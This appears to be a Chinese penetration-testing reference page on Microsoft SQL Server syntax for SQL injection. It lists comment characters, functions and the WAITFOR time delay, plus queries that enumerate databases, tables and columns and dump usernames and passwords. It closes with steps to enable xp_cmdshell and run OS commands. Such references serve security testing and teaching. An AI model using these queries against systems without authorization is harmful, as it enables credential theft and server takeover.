1.1. 常用符号

1.1.1. 注释符

注释符 释义
-- -
+--+
SQL注释风格
;%00 空字节
/*...*/ C注释风格

1.1.2. 运算符

运算符 释义
+ 加法运算
- 减法运算
* 乘法运算
/ 除法运算,如果两个表达式值都是整数,那么结果只取整数值,小数值将略去
% 取模运算,返回两数相除后的余数
& 位与逻辑运算
位或逻辑运算
^ 位异或运算
= 等于
<> != 不等于
< 小于
> 大于
!< 不小于
<= 小于等于
... ...

1.1.3. 全局变量

变量 释义
@@VERSION SQL Server 版本
@@SEVERNAME 运行SQL Server 的本地服务器名称

1.2. 常见函数

1.2.1. 数据库信息

函数 释义
DB_NAME()
DB_NAME(n)
获取当前数据库名,有n则获取其他数据库名,n为数字1、2、3...
USER_NAME()
USER
system_user
current_user
获取用户在数据库中的名字
is_srvrolemember('sysadmin')
is_srvrolemember('db_owner')
is_srvrolemember('public')
判断当前用户权限

1.2.2. 数据类型转换

函数 释义
ASCII(str) 返回字符表达式最左端字符的ASCII 码值
CHAR(str) 将ASCII 码转换为字符
cast(16 as VARBINARY(50)) 将16转换为16进制
CONVERT(VARBINARY(50),16) 将16转换为16进制
master.dbo.fn_varbintohexstr(16) 将16转换为16进制
STR(n) 将数值型数据转为字符型数据

1.2.3. 字符串操作函数

函数 释义
SUBSTRING (<expression><starting_ position>, length) 返回从字符串左边第starting_position个字符起切割length个字符
LEFT (<character_expression><integer_expression>) 返回character_expression 左起 integer_expression 个字符
RIGHT (<character_expression><integer_expression>) 返回character_expression 右起 integer_expression 个字符
QUOTENAME (<’character_expression’>[, quote_ character]) 返回被特定字符括起来的字符串
REPLICATE (character_expression,integer_expression) 返回一个重复 character_expression 指定次数的字符串
REVERSE (<character_expression>) 将指定的字符串的字符排列顺序颠倒
REPLACE (<string_expression1><string_expression2><string_expression3>) string_expression3 替换在string_expression1 中的子串string_expression2
SPACE (<integer_expression>) 返回一个有指定长度的空白字符串
STUFF (<character_expression1><start_ position><length><character_expression2>) 用另一子串替换字符串指定位置、长度的子串
CHARINDEX (<'substring_expression'><expression>) 返回字符串中某个指定的子串出现的开始位置其中substring_expression 是所要查找的字符表达式,expression 可为字符串也可为列名表达式。如果没有发现子串,则返回0 值。 此函数不能用于TEXT 和IMAGE 数据类型。
PATINDEX (<’%substring _expression%’>, <column_ name>) 其中子串表达式前后必须有百分号“%”否则返回值为0。返回字符串中某个指定的子串出现的开始位置。与CHARINDEX 函数不同的是,PATINDEX函数的子串中可以使用通配符,且此函数可用于CHAR、 VARCHAR 和TEXT 数据类型。

1.2.4. 字符串拼接

函数/语句 释义
CONCAT(text1, [text2],…) 连接字符串函数,MSSQL 2012+ 支持
CONCAT_WS ( separator, argument1, argument2 [, argumentN]... ) 连接字符串函数,SQL Server 2017 (14.x) and later

1.2.5. 条件函数

函数/语句 释义
IF...ELSE... 条件语句
case when exp then state1 ELSE state2 end 条件语句

1.2.6. 延时函数

函数/语句 释义
WAITFOR DELAY '0:0:n' 延迟n s

1.2.7. 其他函数/语句

函数/语句 释义
LEN(str) 计算字符串长度
LOWER(str) 将字符串的大写字母全部转成小写
UPPER(str) 将字符串的小写字母全部转成大写
LTRIM() 字符串头部的空格去掉
RTRIM() 把字符串尾部的空格去掉

1.3. 常用语句

更多参考:https://bak.gm7.org/sqlwiki.netspi.com/attackQueries/informationGathering/index.html#sqlserver

说明 语句
查看数据库权限 select is_srvrolemember('sysadmin')
select is_srvrolemember('db_owner')
select is_srvrolemember('public')
获取系统相关信息 -- 获取版本
select @@version;
-- 获取用户名
select user;
-- 获取服务器主机名
select @@servername;
-- 获取所有用户
select name from master..syslogins
获取数据库 -- 当前数据库
select db_name();
-- 其他数据库,n为number类型,1、2、3、4...
select db_name(n);
-- 其他数据库,修改后面dbid为 1 2 3
select name from master.dbo.sysdatabases where dbid=1
-- 所有数据库
select name from master..sysdatabases;
获取表 select name from test..sysobjects where xtype = 'u'
-- 第一张表
select top 1 name from 库名.dbo.sysobjects where xtype='U'
-- 第二张表
select top 1 name from 库名.dbo.sysobjects where xtype='U' and name not in('第一张表')
-- 第三张表
select top 1 name from 库名.dbo.sysobjects where xtype='U' and name not in(‘第一张表’,’第二张表’)
-- 或者
-- 每个库都有information_schema,可以不用加test,也支持跨库查,需要注意这样查询出来使用视图的
select table_name from test.information_schema.tables
-- 从当前库获取表,去除视图
select table_name from information_schema.tables where table_type not in ('view');
获取列 select name from test..syscolumns where id = (select id from test..sysobjects where name = 'users')
-- 或者
select column_name from test.information_schema.columns where table_name = 'users';
-- 或者,以下不支持跨库查询
select top 1 col_name(object_id('users'),1) from sysobjects;
-- i 为第几个字段,int型
select top 1 col_name(object_id('users'),i) from sysobjects;
获取值 select username, password from users;
查找存储过程 select * from master..sysobjects where name like 'sp%' order by name desc
判断XP_CMDSHELL是否存在 (select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
执行系统命令 -- 开启xp_cmdshell扩展存储过程
use master;
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;
-- 执行系统命令
use master;
exec master..xp_cmdshell "whoami";
Copyright © d4m1ts 2022 all right reserved,powered by Gitbook该文章修订时间: 2022-01-25 15:14:08

results matching ""

    No results matching ""